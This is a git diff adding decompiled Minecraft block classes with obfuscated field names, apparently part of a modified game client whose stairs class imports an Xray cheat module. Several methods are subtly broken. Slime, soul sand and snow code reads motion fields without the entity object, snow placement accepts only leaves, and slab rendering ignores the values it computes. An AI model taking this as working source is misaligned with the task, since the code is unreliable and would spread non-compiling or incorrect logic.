+    {
+      field_176420_N = FactoryBlockPattern.start().aisle(new String[] { "   ", "###", "~#~" }).where('#', BlockWorldState.hasState(BlockStateHelper.forBlock(Blocks.soul_sand))).where('~', BlockWorldState.hasState(BlockStateHelper.forBlock(Blocks.air))).build();
+    }
+    
+    return field_176420_N;
+  }
+  
+  protected BlockPattern func_176416_l()
+  {
+    if (field_176421_O == null)
+    {
+      field_176421_O = FactoryBlockPattern.start().aisle(new String[] { "^^^", "###", "~#~" }).where('#', BlockWorldState.hasState(BlockStateHelper.forBlock(Blocks.soul_sand))).where('^', field_176419_M).where('~', BlockWorldState.hasState(BlockStateHelper.forBlock(Blocks.air))).build();
+    }
+    
+    return field_176421_O;
+  }
+  
+  static final class SwitchEnumFacing
+  {
+    static final int[] field_177063_a = new int[EnumFacing.values().length];
+    private static final String __OBFID = "CL_00002064";
+    
+    static
+    {
+      try
+      {
+        field_177063_a[EnumFacing.UP.ordinal()] = 1;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError1) {}
+      
+
+
+
+      try
+      {
+        field_177063_a[EnumFacing.NORTH.ordinal()] = 2;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError2) {}
+      
+
+
+
+      try
+      {
+        field_177063_a[EnumFacing.SOUTH.ordinal()] = 3;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError3) {}
+      
+
+
+
+      try
+      {
+        field_177063_a[EnumFacing.WEST.ordinal()] = 4;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError4) {}
+      
+
+
+
+      try
+      {
+        field_177063_a[EnumFacing.EAST.ordinal()] = 5;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError5) {}
+    }
+    
+    SwitchEnumFacing() {}
+  }
+}
diff --git a/src/minecraft/net/minecraft/block/BlockSlab.java b/src/minecraft/net/minecraft/block/BlockSlab.java
new file mode 100644
index 0000000..422acfe
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/BlockSlab.java
@@ -0,0 +1,186 @@
+package net.minecraft.block;
+
+import java.util.List;
+import java.util.Random;
+import net.minecraft.block.material.Material;
+import net.minecraft.block.properties.IProperty;
+import net.minecraft.block.properties.PropertyEnum;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.init.Blocks;
+import net.minecraft.item.ItemStack;
+import net.minecraft.util.AxisAlignedBB;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.util.IStringSerializable;
+import net.minecraft.world.IBlockAccess;
+import net.minecraft.world.World;
+
+public abstract class BlockSlab extends Block
+{
+  public static final PropertyEnum HALF_PROP = PropertyEnum.create("half", EnumBlockHalf.class);
+  private static final String __OBFID = "CL_00000253";
+  
+  public BlockSlab(Material p_i45714_1_)
+  {
+    super(p_i45714_1_);
+    
+    if (isDouble())
+    {
+      fullBlock = true;
+    }
+    else
+    {
+      setBlockBounds(0.0F, 0.0F, 0.0F, 1.0F, 0.5F, 1.0F);
+    }
+    
+    setLightOpacity(255);
+  }
+  
+  protected boolean canSilkHarvest()
+  {
+    return false;
+  }
+  
+  public void setBlockBoundsBasedOnState(IBlockAccess access, BlockPos pos)
+  {
+    if (isDouble())
+    {
+      setBlockBounds(0.0F, 0.0F, 0.0F, 1.0F, 1.0F, 1.0F);
+    }
+    else
+    {
+      IBlockState var3 = access.getBlockState(pos);
+      
+      if (var3.getBlock() == this)
+      {
+        if (var3.getValue(HALF_PROP) == EnumBlockHalf.TOP)
+        {
+          setBlockBounds(0.0F, 0.5F, 0.0F, 1.0F, 1.0F, 1.0F);
+        }
+        else
+        {
+          setBlockBounds(0.0F, 0.0F, 0.0F, 1.0F, 0.5F, 1.0F);
+        }
+      }
+    }
+  }
+  
+
+
+
+  public void setBlockBoundsForItemRender()
+  {
+    if (isDouble())
+    {
+      setBlockBounds(0.0F, 0.0F, 0.0F, 1.0F, 1.0F, 1.0F);
+    }
+    else
+    {
+      setBlockBounds(0.0F, 0.0F, 0.0F, 1.0F, 0.5F, 1.0F);
+    }
+  }
+  
+
+
+
+
+
+  public void addCollisionBoxesToList(World worldIn, BlockPos pos, IBlockState state, AxisAlignedBB mask, List list, Entity collidingEntity)
+  {
+    setBlockBoundsBasedOnState(worldIn, pos);
+    super.addCollisionBoxesToList(worldIn, pos, state, mask, list, collidingEntity);
+  }
+  
+  public boolean isOpaqueCube()
+  {
+    return isDouble();
+  }
+  
+  public IBlockState onBlockPlaced(World worldIn, BlockPos pos, EnumFacing facing, float hitX, float hitY, float hitZ, int meta, EntityLivingBase placer)
+  {
+    IBlockState var9 = super.onBlockPlaced(worldIn, pos, facing, hitX, hitY, hitZ, meta, placer).withProperty(HALF_PROP, EnumBlockHalf.BOTTOM);
+    return (facing != EnumFacing.DOWN) && ((facing == EnumFacing.UP) || (hitY <= 0.5D)) ? var9 : isDouble() ? var9 : var9.withProperty(HALF_PROP, EnumBlockHalf.TOP);
+  }
+  
+
+
+
+  public int quantityDropped(Random random)
+  {
+    return isDouble() ? 2 : 1;
+  }
+  
+  public boolean isFullCube()
+  {
+    return isDouble();
+  }
+  
+  public boolean shouldSideBeRendered(IBlockAccess worldIn, BlockPos pos, EnumFacing side)
+  {
+    if (isDouble())
+    {
+      return super.shouldSideBeRendered(worldIn, pos, side);
+    }
+    if ((side != EnumFacing.UP) && (side != EnumFacing.DOWN) && (!super.shouldSideBeRendered(worldIn, pos, side)))
+    {
+      return false;
+    }
+    
+
+    BlockPos var4 = pos.offset(side.getOpposite());
+    IBlockState var5 = worldIn.getBlockState(pos);
+    IBlockState var6 = worldIn.getBlockState(var4);
+    boolean var7 = (func_150003_a(var5.getBlock())) && (var5.getValue(HALF_PROP) == EnumBlockHalf.TOP);
+    boolean var8 = (func_150003_a(var6.getBlock())) && (var6.getValue(HALF_PROP) == EnumBlockHalf.TOP);
+    return side == EnumFacing.DOWN;
+  }
+  
+
+  protected static boolean func_150003_a(Block p_150003_0_)
+  {
+    return (p_150003_0_ == Blocks.stone_slab) || (p_150003_0_ == Blocks.wooden_slab) || (p_150003_0_ == Blocks.stone_slab2);
+  }
+  
+
+
+  public abstract String getFullSlabName(int paramInt);
+  
+
+  public int getDamageValue(World worldIn, BlockPos pos)
+  {
+    return super.getDamageValue(worldIn, pos) & 0x7;
+  }
+  
+  public abstract boolean isDouble();
+  
+  public abstract IProperty func_176551_l();
+  
+  public abstract Object func_176553_a(ItemStack paramItemStack);
+  
+  public static enum EnumBlockHalf implements IStringSerializable
+  {
+    TOP("TOP", 0, "top"), 
+    BOTTOM("BOTTOM", 1, "bottom");
+    
+    private final String halfName;
+    private static final EnumBlockHalf[] $VALUES = { TOP, BOTTOM };
+    private static final String __OBFID = "CL_00002109";
+    
+    private EnumBlockHalf(String p_i45713_1_, int p_i45713_2_, String p_i45713_3_)
+    {
+      halfName = p_i45713_3_;
+    }
+    
+    public String toString()
+    {
+      return halfName;
+    }
+    
+    public String getName()
+    {
+      return halfName;
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/block/BlockSlime.java b/src/minecraft/net/minecraft/block/BlockSlime.java
new file mode 100644
index 0000000..8f587e1
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/BlockSlime.java
@@ -0,0 +1,73 @@
+package net.minecraft.block;
+
+import net.minecraft.block.material.Material;
+import net.minecraft.creativetab.CreativeTabs;
+import net.minecraft.entity.Entity;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumWorldBlockLayer;
+import net.minecraft.world.World;
+
+public class BlockSlime extends BlockBreakable
+{
+  private static final String __OBFID = "CL_00002063";
+  
+  public BlockSlime()
+  {
+    super(Material.clay, false);
+    setCreativeTab(CreativeTabs.tabDecorations);
+    slipperiness = 0.8F;
+  }
+  
+  public EnumWorldBlockLayer getBlockLayer()
+  {
+    return EnumWorldBlockLayer.TRANSLUCENT;
+  }
+  
+
+
+
+
+
+  public void onFallenUpon(World worldIn, BlockPos pos, Entity entityIn, float fallDistance)
+  {
+    if (entityIn.isSneaking())
+    {
+      super.onFallenUpon(worldIn, pos, entityIn, fallDistance);
+    }
+    else
+    {
+      entityIn.fall(fallDistance, 0.0F);
+    }
+  }
+  
+
+
+
+
+  public void onLanded(World worldIn, Entity entityIn)
+  {
+    if (entityIn.isSneaking())
+    {
+      super.onLanded(worldIn, entityIn);
+    }
+    else if (motionY < 0.0D)
+    {
+      motionY = (-motionY);
+    }
+  }
+  
+
+
+
+  public void onEntityCollidedWithBlock(World worldIn, BlockPos pos, Entity entityIn)
+  {
+    if ((Math.abs(motionY) < 0.1D) && (!entityIn.isSneaking()))
+    {
+      double var4 = 0.4D + Math.abs(motionY) * 0.2D;
+      motionX *= var4;
+      motionZ *= var4;
+    }
+    
+    super.onEntityCollidedWithBlock(worldIn, pos, entityIn);
+  }
+}
diff --git a/src/minecraft/net/minecraft/block/BlockSnow.java b/src/minecraft/net/minecraft/block/BlockSnow.java
new file mode 100644
index 0000000..18e3f03
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/BlockSnow.java
@@ -0,0 +1,173 @@
+package net.minecraft.block;
+
+import java.util.Random;
+import net.minecraft.block.material.Material;
+import net.minecraft.block.properties.IProperty;
+import net.minecraft.block.properties.PropertyInteger;
+import net.minecraft.block.state.BlockState;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.creativetab.CreativeTabs;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.init.Items;
+import net.minecraft.item.Item;
+import net.minecraft.item.ItemStack;
+import net.minecraft.tileentity.TileEntity;
+import net.minecraft.util.AxisAlignedBB;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.world.EnumSkyBlock;
+import net.minecraft.world.IBlockAccess;
+import net.minecraft.world.World;
+
+
+public class BlockSnow
+  extends Block
+{
+  public static final PropertyInteger LAYERS_PROP = PropertyInteger.create("layers", 1, 8);
+  private static final String __OBFID = "CL_00000309";
+  
+  protected BlockSnow()
+  {
+    super(Material.snow);
+    setDefaultState(blockState.getBaseState().withProperty(LAYERS_PROP, Integer.valueOf(1)));
+    setBlockBounds(0.0F, 0.0F, 0.0F, 1.0F, 0.125F, 1.0F);
+    setTickRandomly(true);
+    setCreativeTab(CreativeTabs.tabDecorations);
+    setBlockBoundsForItemRender();
+  }
+  
+  public boolean isPassable(IBlockAccess blockAccess, BlockPos pos)
+  {
+    return ((Integer)blockAccess.getBlockState(pos).getValue(LAYERS_PROP)).intValue() < 5;
+  }
+  
+  public AxisAlignedBB getCollisionBoundingBox(World worldIn, BlockPos pos, IBlockState state)
+  {
+    int var4 = ((Integer)state.getValue(LAYERS_PROP)).intValue() - 1;
+    float var5 = 0.125F;
+    return new AxisAlignedBB(pos.getX() + minX, pos.getY() + minY, pos.getZ() + minZ, pos.getX() + maxX, pos.getY() + var4 * var5, pos.getZ() + maxZ);
+  }
+  
+  public boolean isOpaqueCube()
+  {
+    return false;
+  }
+  
+  public boolean isFullCube()
+  {
+    return false;
+  }
+  
+
+
+
+  public void setBlockBoundsForItemRender()
+  {
+    getBoundsForLayers(0);
+  }
+  
+  public void setBlockBoundsBasedOnState(IBlockAccess access, BlockPos pos)
+  {
+    IBlockState var3 = access.getBlockState(pos);
+    getBoundsForLayers(((Integer)var3.getValue(LAYERS_PROP)).intValue());
+  }
+  
+  protected void getBoundsForLayers(int p_150154_1_)
+  {
+    setBlockBounds(0.0F, 0.0F, 0.0F, 1.0F, p_150154_1_ / 8.0F, 1.0F);
+  }
+  
+  public boolean canPlaceBlockAt(World worldIn, BlockPos pos)
+  {
+    IBlockState var3 = worldIn.getBlockState(pos.offsetDown());
+    Block var4 = var3.getBlock();
+    return var4.getMaterial() == Material.leaves;
+  }
+  
+  public void onNeighborBlockChange(World worldIn, BlockPos pos, IBlockState state, Block neighborBlock)
+  {
+    checkAndDropBlock(worldIn, pos, state);
+  }
+  
+  private boolean checkAndDropBlock(World worldIn, BlockPos p_176314_2_, IBlockState p_176314_3_)
+  {
+    if (!canPlaceBlockAt(worldIn, p_176314_2_))
+    {
+      dropBlockAsItem(worldIn, p_176314_2_, p_176314_3_, 0);
+      worldIn.setBlockToAir(p_176314_2_);
+      return false;
+    }
+    
+
+    return true;
+  }
+  
+
+  public void harvestBlock(World worldIn, EntityPlayer playerIn, BlockPos pos, IBlockState state, TileEntity te)
+  {
+    spawnAsEntity(worldIn, pos, new ItemStack(Items.snowball, ((Integer)state.getValue(LAYERS_PROP)).intValue() + 1, 0));
+    worldIn.setBlockToAir(pos);
+    playerIn.triggerAchievement(net.minecraft.stats.StatList.mineBlockStatArray[Block.getIdFromBlock(this)]);
+  }
+  
+
+
+
+
+
+  public Item getItemDropped(IBlockState state, Random rand, int fortune)
+  {
+    return Items.snowball;
+  }
+  
+
+
+
+  public int quantityDropped(Random random)
+  {
+    return 0;
+  }
+  
+  public void updateTick(World worldIn, BlockPos pos, IBlockState state, Random rand)
+  {
+    if (worldIn.getLightFor(EnumSkyBlock.BLOCK, pos) > 11)
+    {
+      dropBlockAsItem(worldIn, pos, worldIn.getBlockState(pos), 0);
+      worldIn.setBlockToAir(pos);
+    }
+  }
+  
+  public boolean shouldSideBeRendered(IBlockAccess worldIn, BlockPos pos, EnumFacing side)
+  {
+    return side == EnumFacing.UP ? true : super.shouldSideBeRendered(worldIn, pos, side);
+  }
+  
+
+
+
+  public IBlockState getStateFromMeta(int meta)
+  {
+    return getDefaultState().withProperty(LAYERS_PROP, Integer.valueOf((meta & 0x7) + 1));
+  }
+  
+
+
+
+  public boolean isReplaceable(World worldIn, BlockPos pos)
+  {
+    return ((Integer)worldIn.getBlockState(pos).getValue(LAYERS_PROP)).intValue() == 1;
+  }
+  
+
+
+
+  public int getMetaFromState(IBlockState state)
+  {
+    return ((Integer)state.getValue(LAYERS_PROP)).intValue() - 1;
+  }
+  
+  protected BlockState createBlockState()
+  {
+    return new BlockState(this, new IProperty[] { LAYERS_PROP });
+  }
+}
diff --git a/src/minecraft/net/minecraft/block/BlockSnowBlock.java b/src/minecraft/net/minecraft/block/BlockSnowBlock.java
new file mode 100644
index 0000000..6f2f453
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/BlockSnowBlock.java
@@ -0,0 +1,50 @@
+package net.minecraft.block;
+
+import java.util.Random;
+import net.minecraft.block.material.Material;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.creativetab.CreativeTabs;
+import net.minecraft.init.Items;
+import net.minecraft.item.Item;
+import net.minecraft.util.BlockPos;
+import net.minecraft.world.EnumSkyBlock;
+import net.minecraft.world.World;
+
+public class BlockSnowBlock extends Block
+{
+  private static final String __OBFID = "CL_00000308";
+  
+  protected BlockSnowBlock()
+  {
+    super(Material.craftedSnow);
+    setTickRandomly(true);
+    setCreativeTab(CreativeTabs.tabBlock);
+  }
+  
+
+
+
+
+
+  public Item getItemDropped(IBlockState state, Random rand, int fortune)
+  {
+    return Items.snowball;
+  }
+  
+
+
+
+  public int quantityDropped(Random random)
+  {
+    return 4;
+  }
+  
+  public void updateTick(World worldIn, BlockPos pos, IBlockState state, Random rand)
+  {
+    if (worldIn.getLightFor(EnumSkyBlock.BLOCK, pos) > 11)
+    {
+      dropBlockAsItem(worldIn, pos, worldIn.getBlockState(pos), 0);
+      worldIn.setBlockToAir(pos);
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/block/BlockSoulSand.java b/src/minecraft/net/minecraft/block/BlockSoulSand.java
new file mode 100644
index 0000000..9d4f31e
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/BlockSoulSand.java
@@ -0,0 +1,35 @@
+package net.minecraft.block;
+
+import net.minecraft.block.material.Material;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.creativetab.CreativeTabs;
+import net.minecraft.entity.Entity;
+import net.minecraft.util.AxisAlignedBB;
+import net.minecraft.util.BlockPos;
+import net.minecraft.world.World;
+
+public class BlockSoulSand extends Block
+{
+  private static final String __OBFID = "CL_00000310";
+  
+  public BlockSoulSand()
+  {
+    super(Material.sand);
+    setCreativeTab(CreativeTabs.tabBlock);
+  }
+  
+  public AxisAlignedBB getCollisionBoundingBox(World worldIn, BlockPos pos, IBlockState state)
+  {
+    float var4 = 0.125F;
+    return new AxisAlignedBB(pos.getX(), pos.getY(), pos.getZ(), pos.getX() + 1, pos.getY() + 1 - var4, pos.getZ() + 1);
+  }
+  
+
+
+
+  public void onEntityCollidedWithBlock(World worldIn, BlockPos pos, IBlockState state, Entity entityIn)
+  {
+    motionX *= 0.4D;
+    motionZ *= 0.4D;
+  }
+}
diff --git a/src/minecraft/net/minecraft/block/BlockSourceImpl.java b/src/minecraft/net/minecraft/block/BlockSourceImpl.java
new file mode 100644
index 0000000..dd00249
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/BlockSourceImpl.java
@@ -0,0 +1,61 @@
+package net.minecraft.block;
+
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.dispenser.IBlockSource;
+import net.minecraft.tileentity.TileEntity;
+import net.minecraft.util.BlockPos;
+import net.minecraft.world.World;
+
+public class BlockSourceImpl implements IBlockSource
+{
+  private final World worldObj;
+  private final BlockPos pos;
+  private static final String __OBFID = "CL_00001194";
+  
+  public BlockSourceImpl(World worldIn, BlockPos p_i46023_2_)
+  {
+    worldObj = worldIn;
+    pos = p_i46023_2_;
+  }
+  
+  public World getWorld()
+  {
+    return worldObj;
+  }
+  
+  public double getX()
+  {
+    return pos.getX() + 0.5D;
+  }
+  
+  public double getY()
+  {
+    return pos.getY() + 0.5D;
+  }
+  
+  public double getZ()
+  {
+    return pos.getZ() + 0.5D;
+  }
+  
+  public BlockPos getBlockPos()
+  {
+    return pos;
+  }
+  
+  public Block getBlock()
+  {
+    return worldObj.getBlockState(pos).getBlock();
+  }
+  
+  public int getBlockMetadata()
+  {
+    IBlockState var1 = worldObj.getBlockState(pos);
+    return var1.getBlock().getMetaFromState(var1);
+  }
+  
+  public TileEntity getBlockTileEntity()
+  {
+    return worldObj.getTileEntity(pos);
+  }
+}
diff --git a/src/minecraft/net/minecraft/block/BlockSponge.java b/src/minecraft/net/minecraft/block/BlockSponge.java
new file mode 100644
index 0000000..4b84444
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/BlockSponge.java
@@ -0,0 +1,199 @@
+package net.minecraft.block;
+
+import com.google.common.collect.Lists;
+import java.util.ArrayList;
+import java.util.Iterator;
+import java.util.LinkedList;
+import java.util.List;
+import java.util.Random;
+import net.minecraft.block.material.Material;
+import net.minecraft.block.properties.IProperty;
+import net.minecraft.block.properties.PropertyBool;
+import net.minecraft.block.state.BlockState;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.creativetab.CreativeTabs;
+import net.minecraft.init.Blocks;
+import net.minecraft.item.Item;
+import net.minecraft.item.ItemStack;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.util.EnumParticleTypes;
+import net.minecraft.util.Tuple;
+import net.minecraft.world.World;
+
+public class BlockSponge extends Block
+{
+  public static final PropertyBool WET_PROP = PropertyBool.create("wet");
+  private static final String __OBFID = "CL_00000311";
+  
+  protected BlockSponge()
+  {
+    super(Material.sponge);
+    setDefaultState(blockState.getBaseState().withProperty(WET_PROP, Boolean.valueOf(false)));
+    setCreativeTab(CreativeTabs.tabBlock);
+  }
+  
+
+
+
+  public int damageDropped(IBlockState state)
+  {
+    return ((Boolean)state.getValue(WET_PROP)).booleanValue() ? 1 : 0;
+  }
+  
+  public void onBlockAdded(World worldIn, BlockPos pos, IBlockState state)
+  {
+    setWet(worldIn, pos, state);
+  }
+  
+  public void onNeighborBlockChange(World worldIn, BlockPos pos, IBlockState state, Block neighborBlock)
+  {
+    setWet(worldIn, pos, state);
+    super.onNeighborBlockChange(worldIn, pos, state, neighborBlock);
+  }
+  
+  protected void setWet(World worldIn, BlockPos p_176311_2_, IBlockState p_176311_3_)
+  {
+    if ((!((Boolean)p_176311_3_.getValue(WET_PROP)).booleanValue()) && (absorbWater(worldIn, p_176311_2_)))
+    {
+      worldIn.setBlockState(p_176311_2_, p_176311_3_.withProperty(WET_PROP, Boolean.valueOf(true)), 2);
+      worldIn.playAuxSFX(2001, p_176311_2_, Block.getIdFromBlock(Blocks.water));
+    }
+  }
+  
+  private boolean absorbWater(World worldIn, BlockPos p_176312_2_)
+  {
+    LinkedList var3 = Lists.newLinkedList();
+    ArrayList var4 = Lists.newArrayList();
+    var3.add(new Tuple(p_176312_2_, Integer.valueOf(0)));
+    int var5 = 0;
+    
+
+    while (!var3.isEmpty())
+    {
+      Tuple var6 = (Tuple)var3.poll();
+      BlockPos var7 = (BlockPos)var6.getFirst();
+      int var8 = ((Integer)var6.getSecond()).intValue();
+      EnumFacing[] var9 = EnumFacing.values();
+      int var10 = var9.length;
+      
+      for (int var11 = 0; var11 < var10; var11++)
+      {
+        EnumFacing var12 = var9[var11];
+        BlockPos var13 = var7.offset(var12);
+        
+        if (worldIn.getBlockState(var13).getBlock().getMaterial() == Material.water)
+        {
+          worldIn.setBlockState(var13, Blocks.air.getDefaultState(), 2);
+          var4.add(var13);
+          var5++;
+          
+          if (var8 < 6)
+          {
+            var3.add(new Tuple(var13, Integer.valueOf(var8 + 1)));
+          }
+        }
+      }
+      
+      if (var5 > 64) {
+        break;
+      }
+    }
+    
+
+    Iterator var14 = var4.iterator();
+    
+    while (var14.hasNext())
+    {
+      BlockPos var7 = (BlockPos)var14.next();
+      worldIn.notifyNeighborsOfStateChange(var7, Blocks.air);
+    }
+    
+    return var5 > 0;
+  }
+  
+
+
+
+  public void getSubBlocks(Item itemIn, CreativeTabs tab, List list)
+  {
+    list.add(new ItemStack(itemIn, 1, 0));
+    list.add(new ItemStack(itemIn, 1, 1));
+  }
+  
+
+
+
+  public IBlockState getStateFromMeta(int meta)
+  {
+    return getDefaultState().withProperty(WET_PROP, Boolean.valueOf((meta & 0x1) == 1));
+  }
+  
+
+
+
+  public int getMetaFromState(IBlockState state)
+  {
+    return ((Boolean)state.getValue(WET_PROP)).booleanValue() ? 1 : 0;
+  }
+  
+  protected BlockState createBlockState()
+  {
+    return new BlockState(this, new IProperty[] { WET_PROP });
+  }
+  
+  public void randomDisplayTick(World worldIn, BlockPos pos, IBlockState state, Random rand)
+  {
+    if (((Boolean)state.getValue(WET_PROP)).booleanValue())
+    {
+      EnumFacing var5 = EnumFacing.random(rand);
+      
+      if ((var5 != EnumFacing.UP) && (!World.doesBlockHaveSolidTopSurface(worldIn, pos.offset(var5))))
+      {
+        double var6 = pos.getX();
+        double var8 = pos.getY();
+        double var10 = pos.getZ();
+        
+        if (var5 == EnumFacing.DOWN)
+        {
+          var8 -= 0.05D;
+          var6 += rand.nextDouble();
+          var10 += rand.nextDouble();
+        }
+        else
+        {
+          var8 += rand.nextDouble() * 0.8D;
+          
+          if (var5.getAxis() == net.minecraft.util.EnumFacing.Axis.X)
+          {
+            var10 += rand.nextDouble();
+            
+            if (var5 == EnumFacing.EAST)
+            {
+              var6 += 1.0D;
+            }
+            else
+            {
+              var6 += 0.05D;
+            }
+          }
+          else
+          {
+            var6 += rand.nextDouble();
+            
+            if (var5 == EnumFacing.SOUTH)
+            {
+              var10 += 1.0D;
+            }
+            else
+            {
+              var10 += 0.05D;
+            }
+          }
+        }
+        
+        worldIn.spawnParticle(EnumParticleTypes.DRIP_WATER, var6, var8, var10, 0.0D, 0.0D, 0.0D, new int[0]);
+      }
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/block/BlockStainedGlass.java b/src/minecraft/net/minecraft/block/BlockStainedGlass.java
new file mode 100644
index 0000000..93ba17a
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/BlockStainedGlass.java
@@ -0,0 +1,121 @@
+package net.minecraft.block;
+
+import java.util.List;
+import java.util.Random;
+import net.minecraft.block.material.MapColor;
+import net.minecraft.block.material.Material;
+import net.minecraft.block.properties.IProperty;
+import net.minecraft.block.properties.PropertyEnum;
+import net.minecraft.block.state.BlockState;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.creativetab.CreativeTabs;
+import net.minecraft.item.EnumDyeColor;
+import net.minecraft.item.Item;
+import net.minecraft.item.ItemStack;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumWorldBlockLayer;
+import net.minecraft.world.World;
+
+public class BlockStainedGlass extends BlockBreakable
+{
+  public static final PropertyEnum field_176547_a = PropertyEnum.create("color", EnumDyeColor.class);
+  private static final String __OBFID = "CL_00000312";
+  
+  public BlockStainedGlass(Material p_i45427_1_)
+  {
+    super(p_i45427_1_, false);
+    setDefaultState(blockState.getBaseState().withProperty(field_176547_a, EnumDyeColor.WHITE));
+    setCreativeTab(CreativeTabs.tabBlock);
+  }
+  
+
+
+
+  public int damageDropped(IBlockState state)
+  {
+    return ((EnumDyeColor)state.getValue(field_176547_a)).func_176765_a();
+  }
+  
+
+
+
+  public void getSubBlocks(Item itemIn, CreativeTabs tab, List list)
+  {
+    EnumDyeColor[] var4 = EnumDyeColor.values();
+    int var5 = var4.length;
+    
+    for (int var6 = 0; var6 < var5; var6++)
+    {
+      EnumDyeColor var7 = var4[var6];
+      list.add(new ItemStack(itemIn, 1, var7.func_176765_a()));
+    }
+  }
+  
+
+
+
+  public MapColor getMapColor(IBlockState state)
+  {
+    return ((EnumDyeColor)state.getValue(field_176547_a)).func_176768_e();
+  }
+  
+  public EnumWorldBlockLayer getBlockLayer()
+  {
+    return EnumWorldBlockLayer.TRANSLUCENT;
+  }
+  
+
+
+
+  public int quantityDropped(Random random)
+  {
+    return 0;
+  }
+  
+  protected boolean canSilkHarvest()
+  {
+    return true;
+  }
+  
+  public boolean isFullCube()
+  {
+    return false;
+  }
+  
+
+
+
+  public IBlockState getStateFromMeta(int meta)
+  {
+    return getDefaultState().withProperty(field_176547_a, EnumDyeColor.func_176764_b(meta));
+  }
+  
+  public void onBlockAdded(World worldIn, BlockPos pos, IBlockState state)
+  {
+    if (!isRemote)
+    {
+      BlockBeacon.func_176450_d(worldIn, pos);
+    }
+  }
+  
+  public void breakBlock(World worldIn, BlockPos pos, IBlockState state)
+  {
+    if (!isRemote)
+    {
+      BlockBeacon.func_176450_d(worldIn, pos);
+    }
+  }
+  
+
+
+
+  public int getMetaFromState(IBlockState state)
+  {
+    return ((EnumDyeColor)state.getValue(field_176547_a)).func_176765_a();
+  }
+  
+  protected BlockState createBlockState()
+  {
+    return new BlockState(this, new IProperty[] { field_176547_a });
+  }
+}
diff --git a/src/minecraft/net/minecraft/block/BlockStainedGlassPane.java b/src/minecraft/net/minecraft/block/BlockStainedGlassPane.java
new file mode 100644
index 0000000..900f41d
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/BlockStainedGlassPane.java
@@ -0,0 +1,89 @@
+package net.minecraft.block;
+
+import java.util.List;
+import net.minecraft.block.material.Material;
+import net.minecraft.block.properties.IProperty;
+import net.minecraft.block.properties.PropertyEnum;
+import net.minecraft.block.state.BlockState;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.creativetab.CreativeTabs;
+import net.minecraft.item.EnumDyeColor;
+import net.minecraft.item.Item;
+import net.minecraft.item.ItemStack;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumWorldBlockLayer;
+import net.minecraft.world.World;
+
+public class BlockStainedGlassPane extends BlockPane
+{
+  public static final PropertyEnum field_176245_a = PropertyEnum.create("color", EnumDyeColor.class);
+  private static final String __OBFID = "CL_00000313";
+  
+  public BlockStainedGlassPane()
+  {
+    super(Material.glass, false);
+    setDefaultState(blockState.getBaseState().withProperty(NORTH, Boolean.valueOf(false)).withProperty(EAST, Boolean.valueOf(false)).withProperty(SOUTH, Boolean.valueOf(false)).withProperty(WEST, Boolean.valueOf(false)).withProperty(field_176245_a, EnumDyeColor.WHITE));
+    setCreativeTab(CreativeTabs.tabDecorations);
+  }
+  
+
+
+
+  public int damageDropped(IBlockState state)
+  {
+    return ((EnumDyeColor)state.getValue(field_176245_a)).func_176765_a();
+  }
+  
+
+
+
+  public void getSubBlocks(Item itemIn, CreativeTabs tab, List list)
+  {
+    for (int var4 = 0; var4 < EnumDyeColor.values().length; var4++)
+    {
+      list.add(new ItemStack(itemIn, 1, var4));
+    }
+  }
+  
+  public EnumWorldBlockLayer getBlockLayer()
+  {
+    return EnumWorldBlockLayer.TRANSLUCENT;
+  }
+  
+
+
+
+  public IBlockState getStateFromMeta(int meta)
+  {
+    return getDefaultState().withProperty(field_176245_a, EnumDyeColor.func_176764_b(meta));
+  }
+  
+
+
+
+  public int getMetaFromState(IBlockState state)
+  {
+    return ((EnumDyeColor)state.getValue(field_176245_a)).func_176765_a();
+  }
+  
+  protected BlockState createBlockState()
+  {
+    return new BlockState(this, new IProperty[] { NORTH, EAST, WEST, SOUTH, field_176245_a });
+  }
+  
+  public void onBlockAdded(World worldIn, BlockPos pos, IBlockState state)
+  {
+    if (!isRemote)
+    {
+      BlockBeacon.func_176450_d(worldIn, pos);
+    }
+  }
+  
+  public void breakBlock(World worldIn, BlockPos pos, IBlockState state)
+  {
+    if (!isRemote)
+    {
+      BlockBeacon.func_176450_d(worldIn, pos);
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/block/BlockStairs.java b/src/minecraft/net/minecraft/block/BlockStairs.java
new file mode 100644
index 0000000..58e82ad
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/BlockStairs.java
@@ -0,0 +1,874 @@
+package net.minecraft.block;
+
+import com.enjoytheban.Client;
+import com.enjoytheban.management.ModuleManager;
+import com.enjoytheban.module.Module;
+import com.enjoytheban.module.modules.render.Xray;
+import java.util.Arrays;
+import java.util.List;
+import java.util.Random;
+import net.minecraft.block.material.MapColor;
+import net.minecraft.block.properties.IProperty;
